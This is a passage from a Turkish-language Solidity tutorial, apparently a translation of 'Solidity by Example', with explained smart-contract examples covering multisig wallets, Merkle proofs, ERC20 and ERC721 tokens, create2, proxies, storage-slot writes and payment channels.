address[] public owners;

mapping(address => bool) public isOwner;

uint public numConfirmationsRequired;

struct Transaction {

address to;

uint value;

bytes data;

bool executed;

uint numConfirmations;

}

*// mapping from tx index => owner => bool*

mapping(uint => mapping(address => bool)) public isConfirmed;

Transaction[] public transactions;

modifier onlyOwner() {

require(isOwner[msg.sender], "not owner");

\_;

}

modifier txExists(uint \_txIndex) {

require(\_txIndex < transactions.length, "tx does not exist");

\_;

}

modifier notExecuted(uint \_txIndex) {

require(!transactions[\_txIndex].executed, "tx already executed");

\_;

}

modifier notConfirmed(uint \_txIndex) {

require(!isConfirmed[\_txIndex][msg.sender], "tx already confirmed");

\_;

}

constructor(address[] memory \_owners, uint \_numConfirmationsRequired) {

require(\_owners.length > 0, "owners required");

require(

\_numConfirmationsRequired > 0 &&

\_numConfirmationsRequired <= \_owners.length,

"invalid number of required confirmations"

);

for (uint i = 0; i < \_owners.length; i++) {

address owner = \_owners[i];

require(owner != address(0), "invalid owner");

require(!isOwner[owner], "owner not unique");

isOwner[owner] = true;

owners.push(owner);

}

numConfirmationsRequired = \_numConfirmationsRequired;

}

receive() external payable {

emit Deposit(msg.sender, msg.value, address(this).balance);

}

function submitTransaction(

address \_to,

uint \_value,

bytes memory \_data

) public onlyOwner {

uint txIndex = transactions.length;

transactions.push(

Transaction({

to: \_to,

value: \_value,

data: \_data,

executed: false,

numConfirmations: 0

})

);

emit SubmitTransaction(msg.sender, txIndex, \_to, \_value, \_data);

}

function confirmTransaction(uint \_txIndex)

public

onlyOwner

txExists(\_txIndex)

notExecuted(\_txIndex)

notConfirmed(\_txIndex)

{

Transaction storage transaction = transactions[\_txIndex];

transaction.numConfirmations += 1;

isConfirmed[\_txIndex][msg.sender] = true;

emit ConfirmTransaction(msg.sender, \_txIndex);

}

function executeTransaction(uint \_txIndex)

public

onlyOwner

txExists(\_txIndex)

notExecuted(\_txIndex)

{

Transaction storage transaction = transactions[\_txIndex];

require(

transaction.numConfirmations >= numConfirmationsRequired,

"cannot execute tx"

);

transaction.executed = true;

(bool success, ) = transaction.to.call{value: transaction.value}(

transaction.data

);

require(success, "tx failed");

emit ExecuteTransaction(msg.sender, \_txIndex);

}

function revokeConfirmation(uint \_txIndex)

public

onlyOwner

txExists(\_txIndex)

notExecuted(\_txIndex)

{

Transaction storage transaction = transactions[\_txIndex];

require(isConfirmed[\_txIndex][msg.sender], "tx not confirmed");

transaction.numConfirmations -= 1;

isConfirmed[\_txIndex][msg.sender] = false;

emit RevokeConfirmation(msg.sender, \_txIndex);

}

function getOwners() public view returns (address[] memory) {

return owners;

}

function getTransactionCount() public view returns (uint) {

return transactions.length;

}

function getTransaction(uint \_txIndex)

public

view

returns (

address to,

uint value,

bytes memory data,

bool executed,

uint numConfirmations

)

{

Transaction storage transaction = transactions[\_txIndex];

return (

transaction.to,

transaction.value,

transaction.data,

transaction.executed,

transaction.numConfirmations

);

}

}

İşte çoklu imza cüzdanından gönderme işlemlerini test etmek için bir sözleşme:

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract TestContract {

uint public i;

function callMe(uint j) public {

i += j;

}

function getData() public pure returns (bytes memory) {

return abi.encodeWithSignature("callMe(uint256)", 123);

}

}

## Merkle Ağacı

Merkle ağacı, tüm kümeyi açıklamadan, bir öğenin bir kümede bulunduğunu kriptografik olarak kanıtlamanıza olanak tanır.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract MerkleProof {

function verify(

bytes32[] memory proof,

bytes32 root,

bytes32 leaf,

uint index

) public pure returns (bool) {

bytes32 hash = leaf;

for (uint i = 0; i < proof.length; i++) {

bytes32 proofElement = proof[i];

if (index % 2 == 0) {

hash = keccak256(abi.encodePacked(hash, proofElement));

} else {

hash = keccak256(abi.encodePacked(proofElement, hash));

}

index = index / 2;

}

return hash == root;

}

}

contract TestMerkleProof is MerkleProof {

bytes32[] public hashes;

constructor() {

string[4] memory transactions = [

"alice -> bob",

"bob -> dave",

"carol -> alice",

"dave -> bob"

];

for (uint i = 0; i < transactions.length; i++) {

hashes.push(keccak256(abi.encodePacked(transactions[i])));

}

uint n = transactions.length;

uint offset = 0;

while (n > 0) {

for (uint i = 0; i < n - 1; i += 2) {

hashes.push(

keccak256(

abi.encodePacked(hashes[offset + i], hashes[offset + i + 1])

)

);

}

offset += n;

n = n / 2;

}

}

function getRoot() public view returns (bytes32) {

return hashes[hashes.length - 1];

}

*/\* Doğrulayın*

*3rd leaf*

*0x1bbd78ae6188015c4a6772eb1526292b5985fc3272ead4c65002240fb9ae5d13*

*kök*

*0x074b43252ffb4a469154df5fb7fe4ecce30953ba8b7095fe1e006185f017ad10*

*dizin*

*2*

*kanıt*

*0x948f90037b4ea787c14540d9feb1034d4a5bc251b9b5f8e57d81e4b470027af8*

*0x63ac1b92046d474f84be3aa0ee04ffe5600862228c81803cce07ac40484aee43*

*\*/*

}

## Yinelenebilir Eşleme (Iterable Mapping)

Eşleme ( mapping) yoluyla yineleme yapamazsınız. İşte yinelenebilir bir eşlemenin ( mapping) nasıl oluşturulacağına dair bir örnek.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

library IterableMapping {

*// Adresten uint'e yinelenebilir eşleme;*

struct Map {

address[] keys;

mapping(address => uint) values;

mapping(address => uint) indexOf;

mapping(address => bool) inserted;

}

function get(Map storage map, address key) public view returns (uint) {

return map.values[key];

}

function getKeyAtIndex(Map storage map, uint index) public view returns (address) {

return map.keys[index];

}

function size(Map storage map) public view returns (uint) {

return map.keys.length;

}

function set(

Map storage map,

address key,

uint val

) public {

if (map.inserted[key]) {

map.values[key] = val;

} else {

map.inserted[key] = true;

map.values[key] = val;

map.indexOf[key] = map.keys.length;

map.keys.push(key);

}

}

function remove(Map storage map, address key) public {

if (!map.inserted[key]) {

return;

}

delete map.inserted[key];

delete map.values[key];

uint index = map.indexOf[key];

uint lastIndex = map.keys.length - 1;

address lastKey = map.keys[lastIndex];

map.indexOf[lastKey] = index;

delete map.indexOf[key];

map.keys[index] = lastKey;

map.keys.pop();

}

}

contract TestIterableMap {

using IterableMapping for IterableMapping.Map;

IterableMapping.Map private map;

function testIterableMap() public {

map.set(address(0), 0);

map.set(address(1), 100);

map.set(address(2), 200); *// insert*

map.set(address(2), 200); *// update*

map.set(address(3), 300);

for (uint i = 0; i < map.size(); i++) {

address key = map.getKeyAtIndex(i);

assert(map.get(key) == i \* 100);

}

map.remove(address(1));

*// keys = [address(0), address(3), address(2)]*

assert(map.size() == 3);

assert(map.getKeyAtIndex(0) == address(0));

assert(map.getKeyAtIndex(1) == address(3));

assert(map.getKeyAtIndex(2) == address(2));

}

}

## ERC20

ERC20 standardını izleyen tüm sözleşmeler bir ERC20 jetonudur (token).

ERC20 belirteçleri, işlevler sağlar

• jeton transferi

• başkalarının jeton sahibi adına jetonları transfer etmesine izin vermek

İşte ERC20 için arayüz.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol*

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

event Transfer(address indexed from, address indexed to, uint value);

event Approval(address indexed owner, address indexed spender, uint value);

}

Example of ERC20 token contract.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

import "./IERC20.sol";

contract ERC20 is IERC20 {

uint public totalSupply;

mapping(address => uint) public balanceOf;

mapping(address => mapping(address => uint)) public allowance;

string public name = "Solidity by Example";

string public symbol = "SOLBYEX";

uint8 public decimals = 18;

function transfer(address recipient, uint amount) external returns (bool) {

balanceOf[msg.sender] -= amount;

balanceOf[recipient] += amount;

emit Transfer(msg.sender, recipient, amount);

return true;

}

function approve(address spender, uint amount) external returns (bool) {

allowance[msg.sender][spender] = amount;

emit Approval(msg.sender, spender, amount);

return true;

}

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool) {

allowance[sender][msg.sender] -= amount;

balanceOf[sender] -= amount;

balanceOf[recipient] += amount;

emit Transfer(sender, recipient, amount);

return true;

}

function mint(uint amount) external {

balanceOf[msg.sender] += amount;

totalSupply += amount;

emit Transfer(address(0), msg.sender, amount);

}

function burn(uint amount) external {

balanceOf[msg.sender] -= amount;

totalSupply -= amount;

emit Transfer(msg.sender, address(0), amount);

}

}

## Kendinize ERC20 token oluşturun

[Open Zeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts) 'i kullanarak kendi ERC20 jetonunuzu (token) oluşturmak gerçekten çok kolay.

İşte bir örnek:

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol";

contract MyToken is ERC20 {

constructor(string memory name, string memory symbol) ERC20(name, symbol) {

*// Mint 100 tokens to msg.sender*

*// Similar to how*

*// 1 dollar = 100 cents*

*// 1 token = 1 \* (10 \*\* decimals)*

\_mint(msg.sender, 100 \* 10\*\*uint(decimals()));

}

}

## Token takas sözleşmesi (swap)

Bir ERC20 token’ı bir başkasıyla takas etmek için örnek bir sözleşme olan  TokenSwap'ı burada bulabilirsiniz.

Bu kontrakt, arayarak token’ları değiştirecek

 transferFrom  (adresi gönderen-address sender, adres alıcısı-address recipient, uint256 miktarı-uint256 amount)

 transferFrom  işlemi jeton miktarını ( amount ) göndericiden ( sender ) alıcıya ( recipient) aktaracaktır.

 transferFrom  'un başarılı olması için, gönderenin ( sender )

• bakiyesinde tutardan ( amount ) daha fazla jeton varsa

•  TokenSwap 'ın onayla'yı arayarak ( approve) miktar jetonlarını ( amount tokens) çekmesine izin verildi

 TokenSwap ,  transferFrom’u aramasından çağırmadan önce;

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/IERC20.sol";

*/\**

*How to swap tokens*

*1. Alice has 100 tokens from AliceCoin, which is a ERC20 token.*

*2. Bob has 100 tokens from BobCoin, which is also a ERC20 token.*

*3. Alice and Bob wants to trade 10 AliceCoin for 20 BobCoin.*

*4. Alice or Bob deploys TokenSwap*

*5. Alice approves TokenSwap to withdraw 10 tokens from AliceCoin*

*6. Bob approves TokenSwap to withdraw 20 tokens from BobCoin*

*7. Alice or Bob calls TokenSwap.swap()*

*8. Alice and Bob traded tokens successfully.*

*\*/*

contract TokenSwap {

IERC20 public token1;

address public owner1;

uint public amount1;

IERC20 public token2;

address public owner2;

uint public amount2;

constructor(

address \_token1,

address \_owner1,

uint \_amount1,

address \_token2,

address \_owner2,

uint \_amount2

) {

token1 = IERC20(\_token1);

owner1 = \_owner1;

amount1 = \_amount1;

token2 = IERC20(\_token2);

owner2 = \_owner2;

amount2 = \_amount2;

}

function swap() public {

require(msg.sender == owner1 || msg.sender == owner2, "Not authorized");

require(

token1.allowance(owner1, address(this)) >= amount1,

"Token 1 allowance too low"

);

require(

token2.allowance(owner2, address(this)) >= amount2,

"Token 2 allowance too low"

);

\_safeTransferFrom(token1, owner1, owner2, amount1);

\_safeTransferFrom(token2, owner2, owner1, amount2);

}

function \_safeTransferFrom(

IERC20 token,

address sender,

address recipient,

uint amount

) private {

bool sent = token.transferFrom(sender, recipient, amount);

require(sent, "Token transfer failed");

}

}

## ERC721

ERC721 Örneği

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.6;

interface IERC165 {

function supportsInterface(bytes4 interfaceID) external view returns (bool);

}

interface IERC721 is IERC165 {

function balanceOf(address owner) external view returns (uint balance);

function ownerOf(uint tokenId) external view returns (address owner);

function safeTransferFrom(

address from,

address to,

uint tokenId

) external;

function safeTransferFrom(

address from,

address to,

uint tokenId,

bytes calldata data

) external;

function transferFrom(

address from,

address to,

uint tokenId

) external;

function approve(address to, uint tokenId) external;

function getApproved(uint tokenId) external view returns (address operator);

function setApprovalForAll(address operator, bool \_approved) external;

function isApprovedForAll(address owner, address operator)

external

view

returns (bool);

}

interface IERC721Receiver {

function onERC721Received(

address operator,

address from,

uint tokenId,

bytes calldata data

) external returns (bytes4);

}

contract ERC721 is IERC721 {

using Address for address;

event Transfer(address indexed from, address indexed to, uint indexed tokenId);

event Approval(

address indexed owner,

address indexed approved,

uint indexed tokenId

);

event ApprovalForAll(

address indexed owner,

address indexed operator,

bool approved

);

*// Mapping from token ID to owner address*

mapping(uint => address) private \_owners;

*// Mapping owner address to token count*

mapping(address => uint) private \_balances;

*// Mapping from token ID to approved address*

mapping(uint => address) private \_tokenApprovals;

*// Mapping from owner to operator approvals*

mapping(address => mapping(address => bool)) private \_operatorApprovals;

function supportsInterface(bytes4 interfaceId)

external

pure

override

returns (bool)

{

return

interfaceId == type(IERC721).interfaceId ||

interfaceId == type(IERC165).interfaceId;

}

function balanceOf(address owner) external view override returns (uint) {

require(owner != address(0), "owner = zero address");

return \_balances[owner];

}

function ownerOf(uint tokenId) public view override returns (address owner) {

owner = \_owners[tokenId];

require(owner != address(0), "token doesn't exist");

}

function isApprovedForAll(address owner, address operator)

external

view

override

returns (bool)

{

return \_operatorApprovals[owner][operator];

}

function setApprovalForAll(address operator, bool approved) external override {

\_operatorApprovals[msg.sender][operator] = approved;

emit ApprovalForAll(msg.sender, operator, approved);

}

function getApproved(uint tokenId) external view override returns (address) {

require(\_owners[tokenId] != address(0), "token doesn't exist");

return \_tokenApprovals[tokenId];

}

function \_approve(

address owner,

address to,

uint tokenId

) private {

\_tokenApprovals[tokenId] = to;

emit Approval(owner, to, tokenId);

}

function approve(address to, uint tokenId) external override {

address owner = \_owners[tokenId];

require(

msg.sender == owner || \_operatorApprovals[owner][msg.sender],

"not owner nor approved for all"

);

\_approve(owner, to, tokenId);

}

function \_isApprovedOrOwner(

address owner,

address spender,

uint tokenId

) private view returns (bool) {

return (spender == owner ||

\_tokenApprovals[tokenId] == spender ||

\_operatorApprovals[owner][spender]);

}

function \_transfer(

address owner,

address from,

address to,

uint tokenId

) private {

require(from == owner, "not owner");

require(to != address(0), "transfer to the zero address");

\_approve(owner, address(0), tokenId);

\_balances[from] -= 1;

\_balances[to] += 1;

\_owners[tokenId] = to;

emit Transfer(from, to, tokenId);

}

function transferFrom(

address from,

address to,

uint tokenId

) external override {

address owner = ownerOf(tokenId);

require(

\_isApprovedOrOwner(owner, msg.sender, tokenId),

"not owner nor approved"

);

\_transfer(owner, from, to, tokenId);

}

function \_checkOnERC721Received(

address from,

address to,

uint tokenId,

bytes memory \_data

) private returns (bool) {

if (to.isContract()) {

return

IERC721Receiver(to).onERC721Received(

msg.sender,

from,

tokenId,

\_data

) == IERC721Receiver.onERC721Received.selector;

} else {

return true;

}

}

function \_safeTransfer(

address owner,

address from,

address to,

uint tokenId,

bytes memory \_data

) private {

\_transfer(owner, from, to, tokenId);

require(\_checkOnERC721Received(from, to, tokenId, \_data), "not ERC721Receiver");

}

function safeTransferFrom(

address from,

address to,

uint tokenId,

bytes memory \_data

) public override {

address owner = ownerOf(tokenId);

require(

\_isApprovedOrOwner(owner, msg.sender, tokenId),

"not owner nor approved"

);

\_safeTransfer(owner, from, to, tokenId, \_data);

}

function safeTransferFrom(

address from,

address to,

uint tokenId

) external override {

safeTransferFrom(from, to, tokenId, "");

}

function mint(address to, uint tokenId) external {

require(to != address(0), "mint to zero address");

require(\_owners[tokenId] == address(0), "token already minted");

\_balances[to] += 1;

\_owners[tokenId] = to;

emit Transfer(address(0), to, tokenId);

}

function burn(uint tokenId) external {

address owner = ownerOf(tokenId);

\_approve(owner, address(0), tokenId);

\_balances[owner] -= 1;

delete \_owners[tokenId];

emit Transfer(owner, address(0), tokenId);

}

}

library Address {

function isContract(address account) internal view returns (bool) {

uint size;

assembly {

size := extcodesize(account)

}

return size > 0;

}

}

## Create2 ile Sözleşme Adresini Ön Hesaplama

Sözleşme adresi, sözleşme dağıtılmadan önce  create2 kullanılarak önceden hesaplanabilir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract Factory {

*// Returns the address of the newly deployed contract*

function deploy(

address \_owner,

uint \_foo,

bytes32 \_salt

) public payable returns (address) {

*// This syntax is a newer way to invoke create2 without assembly, you just need to pass salt*

*// https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2*

return address(new TestContract{salt: \_salt}(\_owner, \_foo));

}

}

*// This is the older way of doing it using assembly*

contract FactoryAssembly {

event Deployed(address addr, uint salt);

*// 1. Get bytecode of contract to be deployed*

*// NOTE: \_owner and \_foo are arguments of the TestContract's constructor*

function getBytecode(address \_owner, uint \_foo) public pure returns (bytes memory) {

bytes memory bytecode = type(TestContract).creationCode;

return abi.encodePacked(bytecode, abi.encode(\_owner, \_foo));

}

*// 2. Compute the address of the contract to be deployed*

*// NOTE: \_salt is a random number used to create an address*

function getAddress(bytes memory bytecode, uint \_salt)

public

view

returns (address)

{

bytes32 hash = keccak256(

abi.encodePacked(bytes1(0xff), address(this), \_salt, keccak256(bytecode))

);

*// NOTE: cast last 20 bytes of hash to address*

return address(uint160(uint(hash)));

}

*// 3. Deploy the contract*

*// NOTE:*

*// Check the event log Deployed which contains the address of the deployed TestContract.*

*// The address in the log should equal the address computed from above.*

function deploy(bytes memory bytecode, uint \_salt) public payable {

address addr;

*/\**

*NOTE: How to call create2*

*create2(v, p, n, s)*

*create new contract with code at memory p to p + n*

*and send v wei*

*and return the new address*

*where new address = first 20 bytes of keccak256(0xff + address(this) + s + keccak256(mem[p…(p+n)))*

*s = big-endian 256-bit value*

*\*/*

assembly {

addr := create2(

callvalue(), *// wei sent with current call*

*// Actual code starts after skipping the first 32 bytes*

add(bytecode, 0x20),

mload(bytecode), *// Load the size of code contained in the first 32 bytes*

\_salt *// Salt from function arguments*

)

if iszero(extcodesize(addr)) {

revert(0, 0)

}

}

emit Deployed(addr, \_salt);

}

}

contract TestContract {

address public owner;

uint public foo;

constructor(address \_owner, uint \_foo) payable {

owner = \_owner;

foo = \_foo;

}

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

## Minimal Proxy Kontrakt

Birden çok kez dağıtılacak bir sözleşmeniz varsa, bunları ucuza dağıtmak için minimum proxy sözleşmesi kullanın.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*// original code*

*// https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol*

contract MinimalProxy {

function clone(address target) external returns (address result) {

*// convert address to 20 bytes*

bytes20 targetBytes = bytes20(target);

*// actual code //*

*// 3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3*

*// creation code //*

*// copy runtime code into memory and return it*

*// 3d602d80600a3d3981f3*

*// runtime code //*

*// code to delegatecall to address*

*// 363d3d373d3d3d363d73 address 5af43d82803e903d91602b57fd5bf3*

assembly {

*/\**

*reads the 32 bytes of memory starting at pointer stored in 0x40*

*In solidity, the 0x40 slot in memory is special: it contains the "free memory pointer"*

*which points to the end of the currently allocated memory.*

*\*/*

let clone := mload(0x40)

*// store 32 bytes to memory starting at "clone"*

mstore(

clone,

0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000

)

*/\**

*| 20 bytes |*

*0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000*

*^*

*pointer*

*\*/*

*// store 32 bytes to memory starting at "clone" + 20 bytes*

*// 0x14 = 20*

mstore(add(clone, 0x14), targetBytes)

*/\**

*| 20 bytes | 20 bytes |*

*0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe*

*^*

*pointer*

*\*/*

*// store 32 bytes to memory starting at "clone" + 40 bytes*

*// 0x28 = 40*

mstore(

add(clone, 0x28),

0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000

)

*/\**

*| 20 bytes | 20 bytes | 15 bytes |*

*0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3*

*\*/*

*// create new contract*

*// send 0 Ether*

*// code starts at pointer stored in "clone"*

*// code size 0x37 (55 bytes)*

result := create(0, clone, 0x37)

}

}

}

## Yükseltilebilir Proxy

Yükseltilebilir proxy sözleşmesi örneği. Bunu asla üretimde kullanmayın.

Bu örnek, geri dönüş ( fallback ) çağrıldığında temsilci çağrısının ( delegatecall ) ve dönüş verilerinin nasıl kullanılacağını gösterir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract Proxy {

address public implementation;

function setImplementation(address \_imp) external {

implementation = \_imp;

}

function \_delegate(address \_imp) internal virtual {

assembly {

*// calldatacopy(t, f, s)*

*// copy s bytes from calldata at position f to mem at position t*

calldatacopy(0, 0, calldatasize())

*// delegatecall(g, a, in, insize, out, outsize)*

*// - call contract at address a*

*// - with input mem[in…(in+insize))*

*// - providing g gas*

*// - and output area mem[out…(out+outsize))*

*// - returning 0 on error and 1 on success*

let result := delegatecall(gas(), \_imp, 0, calldatasize(), 0, 0)

*// returndatacopy(t, f, s)*

*// copy s bytes from returndata at position f to mem at position t*

returndatacopy(0, 0, returndatasize())

switch result

case 0 {

*// revert(p, s)*

*// end execution, revert state changes, return data mem[p…(p+s))*

revert(0, returndatasize())

}

default {

*// return(p, s)*

*// end execution, return data mem[p…(p+s))*

return(0, returndatasize())

}

}

}

fallback() external payable {

\_delegate(implementation);

}

}

contract V1 {

address public implementation;

uint public x;

function inc() external {

x += 1;

}

}

contract V2 {

address public implementation;

uint public x;

function inc() external {

x += 1;

}

function dec() external {

x -= 1;

}

}

## Herhangi Bir Sözleşmeyi Dağıtma

 Proxy.deploy(bytes memory \_code) öğesini çağırarak herhangi bir sözleşmeyi dağıtın.

Bu örnek için,  Helper.getBytecode1  ve  Helper.getBytecode2 'yi arayarak sözleşme bayt kodlarını (bytescode) alabilirsiniz.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract Proxy {

event Deploy(address);

fallback() external payable {}

function deploy(bytes memory \_code) external payable returns (address addr) {

assembly {

*// create(v, p, n)*

*// v = amount of ETH to send*

*// p = pointer in memory to start of code*

*// n = size of code*

addr := create(callvalue(), add(\_code, 0x20), mload(\_code))

}

*// return address 0 on error*

require(addr != address(0), "deploy failed");

emit Deploy(addr);

}

function execute(address \_target, bytes memory \_data) external payable {

(bool success, ) = \_target.call{value: msg.value}(\_data);

require(success, "failed");

}

}

contract TestContract1 {

address public owner = msg.sender;

function setOwner(address \_owner) public {

require(msg.sender == owner, "not owner");

owner = \_owner;

}

}

contract TestContract2 {

address public owner = msg.sender;

uint public value = msg.value;

uint public x;

uint public y;

constructor(uint \_x, uint \_y) payable {

x = \_x;

y = \_y;

}

}

contract Helper {

function getBytecode1() external pure returns (bytes memory) {

bytes memory bytecode = type(TestContract1).creationCode;

return bytecode;

}

function getBytecode2(uint \_x, uint \_y) external pure returns (bytes memory) {

bytes memory bytecode = type(TestContract2).creationCode;

return abi.encodePacked(bytecode, abi.encode(\_x, \_y));

}

function getCalldata(address \_owner) external pure returns (bytes memory) {

return abi.encodeWithSignature("setOwner(address)", \_owner);

}

}

## Herhangi Bir Slot’a Yaz

Solidity storage, 2^256 uzunluğunda bir dizi gibidir. Dizideki her slot 32 bayt depolayabilir.

Durum değişkenleri, verileri depolamak için hangi slot’ların kullanılacağını tanımlar.

Ancak derlemeyi kullanarak herhangi bir slot’a yazabilirsiniz.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract Storage {

struct MyStruct {

uint value;

}

*// struct stored at slot 0*

MyStruct public s0 = MyStruct(123);

*// struct stored at slot 1*

MyStruct public s1 = MyStruct(456);

*// struct stored at slot 2*

MyStruct public s2 = MyStruct(789);

function \_get(uint i) internal pure returns (MyStruct storage s) {

*// get struct stored at slot i*

assembly {

s.slot := i

}

}

*/\**

*get(0) returns 123*

*get(1) returns 456*

*get(2) returns 789*

*\*/*

function get(uint i) external view returns (uint) {

*// get value inside MyStruct stored at slot i*

return \_get(i).value;

}

*/\**

*We can save data to any slot including slot 999 which is normally unaccessble.*

*set(999) = 888*

*\*/*

function set(uint i, uint x) external {

*// set value of MyStruct to x and store it at slot i*

\_get(i).value = x;

}

}

## Tek Yönlü Ödeme Kanalı

Ödeme kanalları, katılımcıların Ether'i zincirden tekrar tekrar transfer etmesine olanak tanır.

Bu sözleşmenin nasıl kullanıldığı aşağıda açıklanmıştır:

• Alice , sözleşmeyi bir miktar Ether ile finanse ederek devreye alır.

•  Alice , bir mesajı imzalayarak (zincir dışı) bir ödemeye izin verir ve imzayı  Bob'a gönderir.

• Bob , imzalı mesajı akıllı sözleşmeye sunarak ödemesini talep eder.

• Bob  ödemesini talep etmezse,  Alice  sözleşme sona erdikten sonra Ether'ini geri alır

Ödeme,  Alice 'den  Bob 'a yalnızca tek bir yönde gidebildiği için buna tek yönlü ödeme kanalı denir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/security/ReentrancyGuard.sol";

contract UniDirectionalPaymentChannel is ReentrancyGuard {

using ECDSA for bytes32;

address payable public sender;

address payable public receiver;

uint private constant DURATION = 7 \* 24 \* 60 \* 60;

uint public expiresAt;

constructor(address payable \_receiver) payable {

require(\_receiver != address(0), "receiver = zero address");

sender = payable(msg.sender);

receiver = \_receiver;

expiresAt = block.timestamp + DURATION;

}

function \_getHash(uint \_amount) private view returns (bytes32) {

*// NOTE: sign with address of this contract to protect agains*

*// replay attack on other contracts*

return keccak256(abi.encodePacked(address(this), \_amount));

}

function getHash(uint \_amount) external view returns (bytes32) {

return \_getHash(\_amount);

}

function \_getEthSignedHash(uint \_amount) private view returns (bytes32) {

return \_getHash(\_amount).toEthSignedMessageHash();

}

function getEthSignedHash(uint \_amount) external view returns (bytes32) {

return \_getEthSignedHash(\_amount);

}

function \_verify(uint \_amount, bytes memory \_sig) private view returns (bool) {

return \_getEthSignedHash(\_amount).recover(\_sig) == sender;

}

function verify(uint \_amount, bytes memory \_sig) external view returns (bool) {

return \_verify(\_amount, \_sig);

}

function close(uint \_amount, bytes memory \_sig) external nonReentrant {

require(msg.sender == receiver, "!receiver");

require(\_verify(\_amount, \_sig), "invalid sig");

(bool sent, ) = receiver.call{value: \_amount}("");

require(sent, "Failed to send Ether");

selfdestruct(sender);

}

function cancel() external {

require(msg.sender == sender, "!sender");

require(block.timestamp >= expiresAt, "!expired");

selfdestruct(sender);

}

}

## Çift Yönlü Ödeme Kanalı

Çift yönlü ödeme kanalları, katılımcıların  Alice  ve  Bob 'un art arda Ether zincirini devre dışı bırakmasına olanak tanır.

Ödemeler her iki yönde de yapılabilir;  Alice ,  Bob 'a ve  Bob ,  Alice 'e ödeme yapar.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

pragma experimental ABIEncoderV2;

*/\**

*Opening a channel*

*1. Alice and Bob fund a multi-sig wallet*

*2. Precompute payment channel address*

*3. Alice and Bob exchanges signatures of initial balances*

*4. Alice and Bob creates a transaction that can deploy a payment channel from*

*the multi-sig wallet*

*Update channel balances*

*1. Repeat steps 1 - 3 from opening a channel*

*2. From multi-sig wallet create a transaction that will*

*- delete the transaction that would have deployed the old payment channel*

*- and then create a transaction that can deploy a payment channel with the*

*new balances*

*Closing a channel when Alice and Bob agree on the final balance*

*1. From multi-sig wallet create a transaction that will*

*- send payments to Alice and Bob*

*- and then delete the transaction that would have created the payment channel*

*Closing a channel when Alice and Bob do not agree on the final balances*

*1. Deploy payment channel from multi-sig*

*2. call challengeExit() to start the process of closing a channel*

*3. Alice and Bob can withdraw funds once the channel is expired*

*\*/*

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/math/SafeMath.sol";

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

contract BiDirectionalPaymentChannel {

using SafeMath for uint;

using ECDSA for bytes32;

event ChallengeExit(address indexed sender, uint nonce);

event Withdraw(address indexed to, uint amount);

address payable[2] public users;

mapping(address => bool) public isUser;

mapping(address => uint) public balances;

uint public challengePeriod;

uint public expiresAt;

uint public nonce;

modifier checkBalances(uint[2] memory \_balances) {

require(

address(this).balance >= \_balances[0].add(\_balances[1]),

"balance of contract must be >= to the total balance of users"

);

\_;

}

*// NOTE: deposit from multi-sig wallet*

constructor(

address payable[2] memory \_users,

uint[2] memory \_balances,

uint \_expiresAt,

uint \_challengePeriod

) payable checkBalances(\_balances) {

require(\_expiresAt > block.timestamp, "Expiration must be > now");

require(\_challengePeriod > 0, "Challenge period must be > 0");

for (uint i = 0; i < \_users.length; i++) {

address payable user = \_users[i];

require(!isUser[user], "user must be unique");

users[i] = user;

isUser[user] = true;

balances[user] = \_balances[i];

}

expiresAt = \_expiresAt;

challengePeriod = \_challengePeriod;

}

function verify(

bytes[2] memory \_signatures,

address \_contract,

address[2] memory \_signers,

uint[2] memory \_balances,

uint \_nonce

) public pure returns (bool) {

for (uint i = 0; i < \_signatures.length; i++) {

*/\**

*NOTE: sign with address of this contract to protect*

*agains replay attack on other contracts*

*\*/*

bool valid = \_signers[i] ==

keccak256(abi.encodePacked(\_contract, \_balances, \_nonce))

.toEthSignedMessageHash()

.recover(\_signatures[i]);

if (!valid) {

return false;

}

}

return true;

}

modifier checkSignatures(

bytes[2] memory \_signatures,

uint[2] memory \_balances,

